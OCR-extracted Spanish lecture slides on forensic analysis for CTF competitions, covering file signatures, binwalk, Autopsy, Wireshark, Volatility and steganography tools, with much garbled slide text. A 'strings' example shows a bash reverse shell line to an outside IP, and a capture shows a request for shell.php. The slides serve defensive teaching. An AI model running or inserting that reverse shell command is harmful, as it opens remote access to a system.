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Analisis Forense



¢Qué es el analisis forense?

Buscar datos dada una fuente de

alterar su estado.

Las fuentes de Iinformacidn pueden ser

NOS vamos a centrar en:

7

Ana

AnNa

v d

Ana

v

Ana

isis de ficheros comunes
isis de sistemas de almacenamiento
isis de memoria (RAM)

isis de trafico de red

iInformacion sin

muy Vvariadas,
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Ficheros: Extensiones y Magic Bytes

 Windows: antes de nada, configuramos nuestra maquina para
gue no oculte las extensiones de ficheros.

Advanced settings:

B Display file size information in folder tips

B Display the full path in the title bar
Hidden files and folders
() Dont show hidden files, folders, or drives
) Show hidden files, folders, and drives

B Hide empty drives
4 [ ] Hide extensions for known file types
B Hide folder merge conflicts
[ ] Hide protected operating system files (Recommended)
[ ] Launch folder windows in a separate process

[] Restore previous folder windows at logon
B Show drive letters
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Ficheros: Extensiones y Magic Bytes

. Como sabe el sistema operativo qué tipo de fichero tenemos?
« Windows: por extension (exe, png, txt, ...)
- Resto: mas frecuente por magic bytes.

Rename

| If you change a file name extension, the file might become unusable,

Are you sure you want to change it?
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Ficheros: Extensiones y Magic Bytes

- ¢Qué son exactamente los magic bytes?

lo xxd background. jpg o Patrén de bytes
hahE LOLE 09 20 oo . JﬁIF. e
Y e el e e Generalmente al
Pa od - : ° .
15 1 __ comienzo del fichero
el L oo * ldentifican el contenido
del fichero
: 00 38 . JCHESEE . i
S = ; « Herramienta file:
| G56k a<60 6081 7clia a8 o6 o N identifica tipo fichero
v 3141 5161 22 71 32 23 1A .0a."q.2 # e
: 42 5241 024 3362 7277 090a B.. R $3br... por su patron de bytes

25 2627 2829 2a34 3536 3738 393a %& "' ()*456789:
= C 2 a3 C z et : il

Ejemplos: https://en.wikipedia.org/wiki/List_of file signatures
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https://en.wikipedia.org/wiki/List_of_file_signatures

Ficheros: Extensiones y Magic Bytes

« Otra herramienta muy potente es binwalk

:~# binwalk -B ddwrt-linksys-wrt1208ac-webflash.bin
DECIMAL HEXADECIMAL DESCRIPTION

TRX firmware header, little endian, image size: 37883984 b
ulmage header, header size: 64 bytes, header CRC: 0x788C274

: Bx5C Linux kernel ARM boot executable zImage (little-endian)
2460 ex99C device tree image (dtb)

23432 ©x5B88 xz compressed data

23776 Ox5CED xz compressed data

2117484 Ox204F6C device tree image (dtb)

3145756 Bx30001C UBI erase count header, version: 1, EC: @x®, VID header of

- Analiza el fichero completo buscando patrones conocidos
* Permite extraer los ficheros identificados

* Viene instalada por defecto en Kali
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Ficheros: Extensiones y Magic Bytes

L\ ior?
.Y si falla todo lo anterior- VR S —

Strings, xxd, jRegEX! system
__libc_start mailn
_cxa_finalize

Podemos obtener pistas Y Ew
GLIBC_2.34

1 GLIBC_2.2.5
g raclas a IOS ca raCtereS _ITM_deregisterTMCloneTable

__Egmon_start__

imprimibles que contiene el _ITM_registerTMCloneTable

rings randomFile

fichero. /bin/bash -1 > /dev/tcp/104.11.183.41/9443 0<1 2561

;*3%"
: [DEhia" 13|2|@_2} 13|2|ﬂ

deregister_tm_clones
__do_global_dtors_aux
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Almacenamiento

AUTOPSY

DIGITAL FORENSICS

Con almacenamiento, incluimos:
- Diferentes tipos de soporte
» Discos duros / sélidos (HDD, SSD)
« Pendrives
» Discos virtuales
- Diferentes sistemas de ficheros
« NTFS, FAT32, EXT4, etc.

Ademas, existen multiples formatos para almacenar la evidencia

Raul Martin Santamaria

Isaac Lozano Osorio
Sergio Pérez Peld



Almacenamiento

AUTOPSY

DIGITAL FORENSICS

Case View Tools Window Help

- —
Add Data Source a Images/Videos ii Communications 9 Geolocation A Timeline f‘l- Discovery [ll; Generate Report @ Close Case

~ {3 Listing
/img_copy.iso/.Trash-1000/files

Table Thumbnail

E E Data Sources
: Eﬁ copy.iso_1 Host

- 2 copy.iso
""" Vv $OrphanFiles (2)
-y $CarvedFiles (1) Name S C O Modified Time Change Time Access Time Creat
----- V. S$Unalloc (1) 1| [current folder] 2023-08-31 16:09:12 CEST  0000-00-00 00:00:00 2023-08-31 00:00:00 CEST  2023-
= Trash-1000 (4) 1| [parent folder] 2023-08-31 16:08:52 CEST 0000-00-00 00:00:00 2023-08-31 00:00:00 CEST 2023-
| % Clouddjpeg 2023-08-31 16:08:58 CEST 0000-00-00 00:00:00 2023-08-31 00:00:00 CEST 2023-
-3 passixt (1) ¥ pass.txt 2023-08-31 16:08:52 CEST  0000-00-00 00:00:00 2023-08-31 00:00:00 CEST  2023-

E] % File Views

=+ File Types
. By Extension
- £ By MIME Type
=iy Deleted Files
-y File System (9)
+- MB File Size

E] Q Analysis Results

------ L_;} Encryption Detected (2)
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Trafico de red

Podemos registrar el trafico
de red para su posterior
analisis.
Entre otros, observamos
peticiones DNS, trafico
HTTP...

Nota: Wireshark también
puede analizar trafico USB

Wireshark
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Trafico de red

[ Capture.pcapng
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

]+

AN i@ MR R QesEFIE 5 aaqaiE
L] |Ap|:- y a display filter ... =Ctrl-/>
No. Time Source Destination Protocol Lengtt Info
L: t t — 447 32.24296.. 192.168.0.147 192.168.0.115 TCP 74 52670 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS5=1466 SACK PERM=1 1
ISta paquetes 448 32.24516.. 192.168.0.115 192.168.0.147 TCP 74 88 - 52670 [SYN, ACK] Seq= Ack=1 Win=65160 Len=0 MSS=1460 Si
449 32.24518.. 192.168.0.147 192.168.0.115 TCP 66 52670 - 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=140780498{
I . o . .0. 0 407 GET /shell.php HTTP/1.1
451 32.24589.. 192.168.0.115 192.168.0.147 TCP 66 80 - 52670 [ACK] Seq=1 Ack=342 Win=64896 Len=0 TSVa1:1701954E§
452 32.24864.. 192.168.0.115 192.168.0.147 TCP 74 53734 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK PERM=1
453 32.24867.. 192.168.0.147 192.168.0.115 TCP 74 80 - 53734 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 S/I—
454 32.24908.. 192.168.0.115 192.168.0.147 TCP 66 53734 - 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1701954101
455 32.25470.. 192.168.0.115 192.168.0.147 TCP 172 53734 - 80 [PSH, ACK] Seg=1 Ack=1 Win=64256 Len=106 TSVal=1}'E;
456 32.25472.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=107 Win=65152 Len=0 TSval=1407804%"——
457 32.27156.. 192.168.0.115 192.168.0.147 TCP 265 53734 - 80 [PSH, ACK] Seq=107 Ack=1 Win=64256 Len=199 TSval=]
458 32.27159.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=306 Win=65024 Len=0 TSval=1407805¢
459 32.27581.. 192.168.0.115 192.168.0.147 TCP 120 53734 - 80 [PSH, ACK] Seqg=306 Ack=1 Win=64256 Len=54 TSval=1j
460 32.27585.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=360 Win=65024 Len=0 TSval=1407805¢
461 32.27781.. 192.168.0.115 192.168.0.147 TCP 78 53734 - 80 [PSH, ACK] Seq=360 Ack=1 Win=64256 Len=12 TSval=1j
462 32.27786.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=372 Win=65024 Len=0 TSval=1407805¢
463 32.27812.. 192.168.0.115 192.168.0.147 TCP 109 53734 - 80 [PSH, ACK] Seqg=372 Ack=1 Win=64256 Len=43 TSval=1j
464 32.27813.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=415 Win=65024 Len=0 TSval=1407805¢
465 36.53758.. 192.168.0.147 192.168.0.115 TCP 73 80 - 53734 [PSH, ACK] Seq=1 Ack=415 Win=65024 Len=7 TSval=14¢
466 36.53792.. 192.168.0.115 192.168.0.147 TCP 66 53734 - 80 [ACK] Seq=415 Ack=8 Win=64256 Len=0 TSval=1701958:
Paquete anallzado : 467 36.54057.. 192.168.0.115 192.168.0.147 TCP 75 53734 - 80 [PSH, ACK] Seq=415 Ack=8 Win=64256 Len=9 TSval 1'{(
» Transmission Control Protocol, Src Port: 52670, Dst Port: 80, Seq: 1, Ack: 1, Len: 341
- Hypertext Transfer Protocol
» GET /shell.php HTTP/1.1\r\n

Host: 192.168.0.115\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
Accept-Language: en-US,en;qg=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
DNT: 1\r\n

0oOe 08 00 27 92 a2 af 00 Oc 29 4a b9 cd 08 00 45 60 sl )3 E-

0010 01 89 b0 1d 40 00 40 66 06 fb cO a8 00 93 cO0 a8 @@ -+

0020 00 73 cd be 00 50 01 9f 1c bb 87 c6 14 06 80 18 ‘5P

@ 7 capturepcapng

Packets: 907 - Displayed: 907 (100.0%) Profile: Default
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Trafico de red

- Generalmente tenemos cientos de paquetes

« Es importante aprender a filtrar la informacion relevante
 Por protocolo: usar el nombre. Ej: HTTP
http
- Por puerto origen / destino
tcp.port == 12345
 Paquetes UDP gue contengan ciertos bytes:
udp contains AA:BB:CC

 Referencia completa:

https://wiki.wireshark.org/DisplayFilters
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https://wiki.wireshark.org/DisplayFilters

Trafico de red

Para ver paquetes relacionados con otros usamos “Follow”

Lengtt Info

62 3372 - B0 [SYN] Seq=0 Win=8760 Len=0 MSS5=1460 SACK PERM=1
62 80 - 3372 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MS55=1380 SACK PERM=1
54 3372 - 80 [ACK] Seq=1 Ack=1 Win=9660 Len=0

533 GET /download.html HTTP/1.1

54 80 - 3372 [ACK] Seq=1 Ack=48I
14..80 - 3372 [ACK] Seq=1 Ack=48(

54 3372 - 80 [ACK] Seq=480 Ack=
14..80 - 3372 [ACK] Seq=1381 Ack
54 3372 - 80 [ACK] Seq=480 Ack=
14..80 - 3372 [ACK] Seq=2761 Ack
14..80 - 3372 [PSH, ACK] Seq=414
54 3372 - 80 [ACK] Seq=480 Ack=

89 Standard query 0x0023 A page:

14..80 - 3372 [ACK] Seq=5521 Ack
54 3372 - 80 [ACK] Seq=480 Ack=
14..80 - 3372 [ACK] Seq=6901 Ack
188 Standard query response 0x00
775 GET /pagead/ads?client=ca-pu

54 3372 - 80 [ACK] Seq=480 Ack=t

14.. 80 - 3372 [ACK] Seq=8281 Ack
14.. 80 - 3372 [PSH, ACK] Seq=966
54 3372 - 80 [ACK] Seq=480 Ack=

Mark/Unmark Packet Ctrl+M
Ignore/Unignore Packet Ctrl+D
Set/Unset Time Reference Ctri+T

Time Shift... Ctri+Shift+T
Packet Comment... Ctri+Alt+C

Edit Resolved Name
Apply as Filter
Prepare as Filter
Conversation Filter
Colorize Conversation
SCTP

Follow

Copy
Protocol Preferences
Decode As...

Shuw Packet in Mew Window
=T = =1

of a reassembled PDU]
ent of a reassembled PDU]

ent of a reassembled PDU]
segment of a reassembled PDU]

"ent of a reassembled PDU]

eNn 0 d == empleg PLU
TCP Stream Ctri+Alt+5hift+T CNAME

Ctri+Alt+5hift+H

HTTP Stream
DU]

14.. 80 - 3372 [ACK] Seq=11041 Ack= 48& Win=6432 Len=1380 [TCP segment 0T a reassempled FUU]

at=468;

©
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Trafico de red

 Ejemplo: peticidn y respuesta HTTP

| Wireshark - Follow HTTP Stream (tcp.stream eq 0) - http.cap =13

GET /fdownload.html HTTP/1.1

Host: www.ethereal.com

User-Agent: Mozilla/5.8 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,6image/png,image/jpeq,image/qif;q=0.2,%/%;q=0.1
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;q=0.7,*;q=0.7

=7 Keep-Alive: 300

petiC|On Connection: keep-alive

Referer: http://www.ethereal.com/development.html

HTTP/1.1 200 0K

Date: Thu, 13 May 2004 18:17:12 GMT

Server: Apache

Last-Modified: Tue, 20 Apr 2004 13:17:00 GMT
ETag: "9a@la-4696-7e354b00"

Accept-Ranges: bytes

Content-Length: 18070

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=IS0-8859-1

Respuesta

<?xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.8 Strict//EN"
"DTD/xhtmll-strict.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en">
<head=>
<title>Ethereal: Download</title>
<style type="text/css" media="all"=
@import urli"mm/css/ethereal-3-0.cs5");
=/style>
=/head=
<body=
=div class="top">
<table width="100%" cellspacing="0" cellpadding="8" border="0" summary=""=
<tr=
<trd valian="middle" width="1"=>
Packet 4. 1 client pkt, 1 server pkt, 1 tumn. Click to select.

Entire conversation (18kB) v Show data as | ASCII v
Find: Find Next
Filter Out This Stream Print Save as... Back X Close 5{Help
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Trafico de red

O
m Edit View Go Capture Analyze 5tatistics Telephony Wireless Tools Help
o laEF SEE QQ
Podemos exportar '
Merge...
’ ° ° [ Import from Hex Dump... stination Protocal
I'a plda mente ObjetOS. Close Ctri+w .208.228.223 TCP
5.254.160.2.. TCP
Save As Ctrl+Shift+5 | Sl zdee st ULE
— 5.254.160.2.. TCP
Ej: el fichero que se ha Fle set '1.208.228.223 TCP
. Export Specified Packets... 5.254.1660.2... TCP
descargado un usuario Export Packet Dissections 15.254.160.2.. TCP
Export Packet Bytes... ctri+shift+x 1.208.228.223 TCP
por HTTP. Export PDUS to File.. 5.254.160.2.. TCP
Export TL5 Session Keys... r29§‘2?§n2§3 TCP
Export Objects . TCP
, 3 TCP
Print... Ctrl+P _TCP
Quit cerl+Q . TCP
33 4.356264 145.254.160.2.. 62 3 TCP
34 4,496465 65.208.228.223 1 TFTP... TCP

35 4.496465 145.254.160.2.. 65.208.228.223 TCP
38 4.846969 65.208.228.223 145.254.160.2.. HTTP/XML

395.017214 145.254.160.2.. 65.208.228.223 TCP
40 17.905747 65.208.228.223 145.254.160.2.. TCP
41 17.905747 145.254.160.2.. 65.208.228.223 TCP
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Trafico de red

Packet ~ Hostname Content Type Size Filename =
54 www.msftncsi.com text/plain 14 bytes ncsi.txt
132 api.bing.com text/html 1,305 bytes gsml.aspx?qus
163 api.bing.com text/html 1,346 bytes gsml.aspx?qus
177 api.bing.com textfhtmi 1,369 bytes gsml.aspx?qus
198 api.bing.com text/htmil 1,398 bytes gsml.aspx?que
212 google.com text/htmil 219 bytes |
226 www.google.com text/htmil 231 bytes |
1858 www.google.com text/html 1,058 bytes url?sa=t&rci=
1904 www.bluproducts.com text/htmil 19 kB /
14955 www.bluproducts.com text/css 7,321 bytes default_iceme
1972 www.bluproducts.com text/css 331 bytes default notjs.c
2109 www.bluproducts.com text/css 63 kB widgetkit-24 11
2136 www.bluproducts.com application/x-javascript 4,707 bytes core-81l6dedc!
2139 www.bluproducts.com application/x-javascript 657 bytes  caption-5e0b3
2280 www.bluproducts.com application/x-javascript 20 kB widgetkit-34c:
2390 www.bluproducts.com application/x-javascript 18 kB cufon-yui-1d1i
2545 www.bluproducts.com application/x-javascript 95 kB mootools-core
2560 www.bluproducts.com application/x-javascript 93 kB jgquery-Tae67c
2689 www.bluproducts.com application/x-javascript 4,784 bytes core.js
2728 platform_linkedin.com textfjavascript 3,768 bytes in.s
2743 www.bluproducts.com text/css 132 kB template-897f
2784 www.bluproducts.com application/x-javascript 22 kB template-3f20
2898 www.bluproducts.com image/png 19 kB facebook.png
2990 www.bluproducts.com image/png 22 kB Twitter.png
3060 www.bluproducts.com image/png 44 kB googleplus.pn
3066 s.amazon-adsystem.com image/gif 43 bytes wi3?d=3p-hbc
3145 www.bluproducts.com image/png 19 kB mail.png -
1 b
Text Filter: ||

Help Save All Save
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Trafico de red

 Truco 1: Para ahorrar tiempo es interesante ver los resumenes
qgue genera Wireshark: participantes y protocolos

Protocol
= Frame
= Ethernet
~ |Internet Protocol Version &
~ User Datagram Protocol
Simple Service Discovery Protocol
~ |Internet Protocol Version 4
~ User Datagram Protocol
MetBlOS Mame Service
= MetBIO5 Datagram Service
* SME (Server Message Block Protocol)
SME Mailslot Pro
Microsoft Windows Browser Protocol
Dynamic Host Configuration Protocol
* Transmission Control Protocol
* Hypertext Transfer Protocol
Media Type
Internet Group Management Protocol
Address Resolution Protocol

* Percent Packets

100.0
100.0
16.1
16.1
16.1
81.6
10.1

Packets Percent Bytes

267 100.0

267 1.4
0.6
0.1

-

P
>

2
2
2
2
1
1
2

P —
[==] t

|

(=11

Truco 2: Ordenar por tamano

216
2400
164
260
50
83
300

AR

Ethernet . 11

Address

192.168.1.1

192,

-]

L
P P

[

Fd Pd Pl g — —
R

M —t —t [ua LA
(R

—_

Fud

4.8 IPv6.2

TCP 15

Packets Bytes Tx Packets
28 4 kB 28

180 | 102

0

0

0

0

upp -8

T Bytes
4kE

15 kB
276 kB
0 bytes
0 bytes

Rx Packets
0

28

36

26

4

Rx Bytes
0 bytes
276 kB

14 kB

4 kB

240 bytes
120 bytes
60 bytes
342 bytes
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-\/\.
- VolaiLTy

el contenido se pierde al apagar el ordenador

Analisis de RAM

« Contiene informacién muy interesante:
* Procesos en ejecucion, y sus datos asociados
« Conexiones entrantes y salientes

 Ficheros cacheados
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VLT,

Analisis de RAM

Instrucciones de instalacion en Kali:

1. Clonamos el repositorio:

git clone https://github.com/volatilityfoundation/volatility3

2. Entramos a la carpeta y creamos entorno virtual (venv):
cd volatility3
python3 -m venv venv

3. Activamos el entorno y instalamos dependencias
source venv/bin/activate

pip3 install -r requirements.txt
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https://github.com/volatilityfoundation/volatility3

Analisis de RAM

« iCuidado con los tutoriales!
Muchos estan anticuados ®
* Imprimir opciones y ver listado de plugins:

python3 vol.py -h

- Uso general

python3 vol.py -f fichero.raw os.plugin [parameters]
« Opciones de un plugin:

python3 vol.py os.plugin -h

O,
VLT,
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Analisis de RAM

« Ejemplo 1: procesos en ejecucion:

LTy

ExitTimeFile output

[:—(v )-[~/Tools/volatility3]

ytho1J vol.py -f '/home/rmartin/Desktop/Parallels Shared Folders/shared/memdump.raw' windows.pslist
Volatlllty 3 Framework 2.11.0
Progress: 100.00
PID PPID ImageFileName

PDB scanning finished
Offset(V) Threads Handles SessionId Wow64  CreateTime
4 System 0xa68ffbc7f080 159 - False 2024-09-27 02:25:09.000000 UTC N/A Disabled
Registry 0xa68ffee02080 4 N/A False  2024-09-27 02:25:07.000000 N/A
SmMss.exe @xa6810086d040 N/A False 2024-09-27 02:25:09.000000 N/A
0%xa68104ed3080 False 2024-09-27 02:25:14.000000 N/A
0xab68105028140 False 2024-09-27 02:25:14.000000 N/A
0xab68104ch6240 False 2024-09-27 02:25:14.000000 N/A
0*xab68105040080 False 2024-09-27 02:25:14.000000 N/A

Disabled
Disabled
Disabled
Disabled
Disabled
Disabled

N
S

CSrss.exe
wininit.exe
CSrss.exe
winlogon.exe

=~

services.exe
lsass.exe
svchost.exe
fontdrvhost.ex
fontdrvhost.ex
svchost.exe
svchost.exe

0xa6810520e240
0xa6810507d080
0xa681061d7240
0xab68105111140
0xa681061c1080
0xa6810624f2c0
0xab681062772c0

dwm.exe 0xa681062bc@80 22

svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe

0*xab6810604e340
0*xa6810607e300
0xab681060ac300
0xa681060aa300
0xa681060b6300
0xa681060d4240

RoOWkPPUULIT FPOOCOCORLRRERPLPUITUIERL NEN
o =
SIS ST SRS R S By S IS IS B S SIS

=

False
False
False
False
False
False
False

False
False
False
False
False
False

2024-09-27
2024-09-27
2024-09-27
2024-09-27
2024-09-27
2024-09-27
2024-09-27
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|
Analisis de RAM

-\/t
« Ejemplo 2: conexiones abiertas WWL'TY

)-[~/Tools/volatility3]
python3 vol.py -f '/home/rmartin/Desktop/Parallels Shared Folders/shared/memdump.raw' windows.netscan
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner  Created

8384 powershell.exe 2024-09-26 17:30:04.000000 UTC

8384 powershell.exe 2024-09-26 17:30:04.000000 UTC

8384 powershell.exe 2024-09-26 17:30:04.000000 UTC

8384 powershell.exe 2024-09-26 17:30:04.000000 UTC

8384 powershell.exe 2024-09-26 17:30:04.000000 UTC

8384 powershell.exe 2024-09-26 17:30:04.000000 UTC
LISTENING 620 wininit.exe 2024-09-27 02:25:15.000000
LISTENING 620 wininit.exe 2024-09-27 02:25:15.000000
LISTENING 784 lsass.exe 2024-09-27 02:25:15.000000
LISTENING 784 lsass.exe 2024-09-27 02:25:15.000000
LISTENING 784 lsass.exe 2024-09-27 02:25:15.000000
LISTENING 412 svchost.exe 2024-09-27 02:25:15.000000
LISTENING 412 svchost.exe 2024-09-27 02:25:15.000000
LISTENING 412 svchost.exe 2024-09-27 02:25:15.000000
0xab68100907e90 TCPv4 0.0.0.0 49665 LISTENING 620 wininit.exe 2024-09-27 02:25:15.000000
0xab681048e1200 UDPv4 0.0.0.0 5353 7192 msedge.exe 2024-09-26 17:28:28.000000 UTC
0xab681048e1200 UDPv6 i 5353 0 7192 msedge.exe 2024-09-26 17:28:28.000000 UTC
0xa6810518da2@ TCPv4 10.0.2.15 20.190.177.21 443 CLOSED 7180 OneDrive.exe 2024-09-26 17:25:41.000
0xab681061148a0 TCPv4 10.0.2.15 185.89.208.19 443 CLOSE_WAIT 7336 msedge.exe 2024-09-26 17:2
Pxab681061995c0® UDPv4 10.0.2.15 0 4 System 2024-09-27 02:25:15.000000 UTC

0xab68100565910 UDPv4 Q.
0xab68100565910 UDPv6 i
0=xa68100565dc@ UDPv4

0xab68100566720 UDPv4

0xab8100566720 UDPv6 i
0xab8100566a40 UDPv4 .0.0.0 @
0xab68100906050 TCPv4 .0.0.0 49665
0xab68100906050 TCPv6 -3 49665
0xab681009069f0 TCPv4 .0.0.0 49664
0xab68100907910 TCPv4 .0.0.0 49664
0xab68100907910 TCPv6 53 49664
0xab8100907a70 TCPv4 .0.0.0 135
0xab68100907bdd TCPv4 .0.0.0 135
0=xa68100907bdd TCPv6 g 135

0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
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Esteganografia



cQué es la esteganografia?

La esteganografia trata el estudio y aplicacion de
técnicas que permiten ocultar informacion dentro de
otra de diferente tipo (0 no), de modo qgue no se

perciba su existencia.
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Metadatos

“Datos sobre los datos”. Son |la primera fuente de
INformacion sobre lo que estamos analizando. Nos
puede dar informacion acerca del contenido, la
calidad, historico...

A veces, incluso flags.

METADATA
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Metadatos - Herramientas: Exiftool

Exiftool es una de las herramientas mas extendidas

para analizar metadatos en Linux.

EXifTool
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https://exiftool.org/

Metadatos - Herramientas: Exiftool

Exiftool es una de las herramlentas Mas extendidas

S

E Propiedades: baby-yoda,jpg

General Seguidad Detalles  Versiones anteriores

Propiedad Walor
Descripcion

Titulao

Asunto

Clasficacion

Btiquetas

Comentarios

Origen
Fecha de captura
MNombre del programa
Fecha de adquisician
Copyright
Imagen
Id. de imagen
Dimensiones 1280 720
Ancha 1280 pixeles
Alto 720 piveles

Dmmmlimiciem s et = i

Guitar propiedades e informacian personal

Aceptar Cancelar

Aplicar

EhlfTﬂml Version Number

File Name
Directory
File 5

File Modification Date/Time

File Access Date/Time

File Inode Change Date/Time

File Permissions
File Type

File Type Extension
MIME Type

JFIF Version
Resolution Unit
¥ Resolution

Y Resolution
Exif Byte Order
Artist

XP Author
Padding

About

age Height
Encoding Process
Bits Per Sample
Color Components
Cr Sub Sampling

12.16
baby-yoda. jpg

inches
72

732
d L

Big-endian (Motorola, MM)

apTlan to extr
82f1b

rac

ct
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https://exiftool.org/

Esteganografia sobre ficheros

Una técnica comun en esteganografia es aquella que
consiste en ocultar ficheros dentro de otros (ya sean
del mismo tipo o no).

Ocultar un fichero entre los bytes de otro es una
técnica que debe hacerse con cuidado,
especialmente si el objetivo es minimizar la deteccion

del uso de esta técnica.
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Esteganografia sobre ficheros -

@
Herramientas
Dos de las herramientas mas extendidas para operar

sobre informacion oculta en ficheros son Binwalk y

Foremost.

2 . - . = . lecturesnippets@ubuntu: ~/Desktop
WIlllam@UbuntU - /Documentss blnwalk Me fw' bln lecturesnippets@ubuntu:~$ sudo apt-get install foremost

8F9880 [sudo] password for lecturesnippets:
Reading package lists... Done
iBuilding dependency tree

8F9BBO .extracted ’Reading state information... Done
The following NEW packages will be installed:

68A180 foremost
0 upgraded, 1 newly installed, @ to remove and 109 not upgraded.
Need to get 44.0 kB of archives.
72C 180 After this operation, 143 kB of additional disk space will be used.
Get:1 http://us.archive.ubuntu.com/ubuntu/ precise/universe foremost amd64 1.5.7
-1 [44.0 kB]
Fetched 44.0 kB in 0s (142 kB/s)
72C1B0O.extracted Selecting previously unselected package foremost.
(Reading database ... 167093 files and directories currently installed.)
DC39.crt Unpacking foremost (from .../foremost 1.5.7-1_amd64.deb) ...
Processing triggers for man-db ...
Elél'crt Setting up foremost (1.5.7-1) ...
EBAF . Crt lecturesnippets@ubuntu:~$ man foremost
lecturesnippets@ubuntu:~$ cd Desktop/

F224.crt lecturesnippets@ubuntu:~/Desktop$ foremost -t jpg,png,gif -o flashoutput -i flashdrive.img

Processing: flashdrive.img

736648
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https://github.com/ReFirmLabs/binwalk
https://github.com/korczis/foremost

Esteganografia sobre ficheros

En las competiciones, lo mas habitual en |a categoria
de esteganografia es que se apligue sobre iImagenes

(JPG, PNG, BMP...).
Para tratar con imagenes, hay una suit de

herramientas muy util: stego-toolKkit.

\ https://github.com/DominicBreuker/stego-toolkit \

R . N
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https://github.com/DominicBreuker/stego-toolkit

Esteganografia sobre ficheros

Es una coleccion de herramientas de esteganografia
de gran utilidad para los CTF.

En su repositorio de GitHub, podemos ver una lista
detallada de las herramientas que podriamos utilizar
segun los distintos casos, y el uso de cada una de

ellas.
En concreto, seran de gran utilidad sus scripts

h l by h h l : h Tool Description How to use
C ec Jpgcs y C ec png°s file Check out what kind of file you have file stego .jpe
exiftool Check out metadata of media files exiftool stego.jpg
binwalk Check out if other files are embedded/appended

Check out if there are interesting readable

strings i . strings stego .j
9 characters in the file ~ Strines steso.ges

foremost Carve out embedded/appended files | foremost stego -jpe

Get details on a PNG file (or find out is is actually
something else)

GraphicMagick tool to check what kind of image a
file is. Checks also if image is corrupted.

ffmpeg can be used to check integrity of audio

files and let it report infos and errors
result

-v info -i stego.
to recode the file and throw away the
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Esteganografia sobre ficheros

Una alternativa online a tener muy en cuenta es
Aperi'Solve.

Esta herramienta tiene la funcionalidad de analizar
diferentes perfiles de color de una imagen, lo cual

puede ser muy util.
Ademas, incluye algunas herramientas como Zsteg

(también incluida en stego-toolkit).
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https://aperisolve.fr/

Esteganografia sobre ficheros

Un detalle a observar es que, tanto en Aperi'Solve
como en algunas de las herramientas de stego-
toolkit se solicita una contrasena.

Esto es asi porque algunas herramientas de
esteganografia protegen el contenido oculto de
manera qgue, sl No se posee la contrasena con la que
se oculto, no podremos recuperarlo.
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Esteganografia sobre ficheros

Por ello, es de gran utilidad contar con una
herramienta como Stegseeek.

Esta herramienta permite realizar atagues de
diccionario sobre imagenes en formato JPC.
También permite un ataque de fuerza bruta sobre las
Imagenes que hayan utilizado Steghide (otra
herramienta de esteganografia sobre imagenes) y su
funcionalidad de contrasena segura para ocultar la

INformacion.
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https://github.com/RickdeJager/stegseek
http://steghide.sourceforge.net/

Least Significant Bit (LSB)

Otra técnica bastante extendida en el arte de ocultar
Informacion dentro de informacion es la de LSB.

Se trata de modificar los bits menos significativos de
cada pixel de una imagen o video, de forma que el
mensaje se oculte en esos bits.

Esta técnica tiene multiples variantes, como por
ejemplo escoger sélo el canal rojo/verde/azul/alpha

de una Imagen.

Least Significant Bit
Steganography
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Esteganografia sobre ficheros

Ademas de todo esto, hay gue pensar que a veces la
agudeza visual e intelectual valen mas que cualquier
herramienta.

Halbra ocasiones en que la informacion esté ahi, pero
Nno Nos hemos fijado lo suficiente.
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Esteganografia sobre ficheros

Ademas de todo esto hay que pensar que a veces Ia
agud | '
herra

Habr
Nno NO
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Esteganografia sobre ficheros

Ademas de todo esto, hay gue pensar que a veces la
agudeza visual e intelectual valen mas que cualquier
herramienta.
Halbra ocasio ero
NO NOS hemc
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Esteganografia sobre ficheros

Ademas de todo esto, hay gue pensar que a veces la
agudeza visual e intelectual valen mas que cualquier
herramienta.

Halbra ocasiones esté ahi, pero
NO Nos hemos fij
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Esteganografia sobre ficheros

Otras veces, sera suficiente con jugar con |los ajustes
de curvas y niveles de herramientas de edicion como

GIMP para lograr ver mejor lo gue oculta una imagen.

Esteganografia es de las pocas categorias en las que
una idea feliz puede ser la solucion al reto. jAplica
todas las que se te ocurran!
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https://www.gimp.org/

Esteganografia sobre ficheros

Pero no todo se reduce a imagenes. También es
habitual encontrar retos con video/audio con
Informacion oculta de alguna manera.

Por ejemplo, es habitual encontrar retos que

esconden Informacion en los espectogramas de las

ondas de audio.
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Esteganografia sobre ficheros

Para estos casos, herramientas de edicion de audio

como Audacity o Sonic Visualiser pueden sernos de

gran utilidad.

3 o
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https://www.audacityteam.org/
https://www.sonicvisualiser.org/

La realidad de la categoria: 99% Guess
The Tool, 1% habilidad

Por desgracia, los retos de esteganografia, salvo que
estén bien configurados, la mayoria de las veces
tratan mas de romperse la cabeza buscando la
herramienta que resuelva el reto que de desarrollar
alguna habilidad.

No es una categoria gue goce de mucha popularidad
entre los participantes de las competiciones, pero hay

muchas que la incluyen y debéis estar preparados.
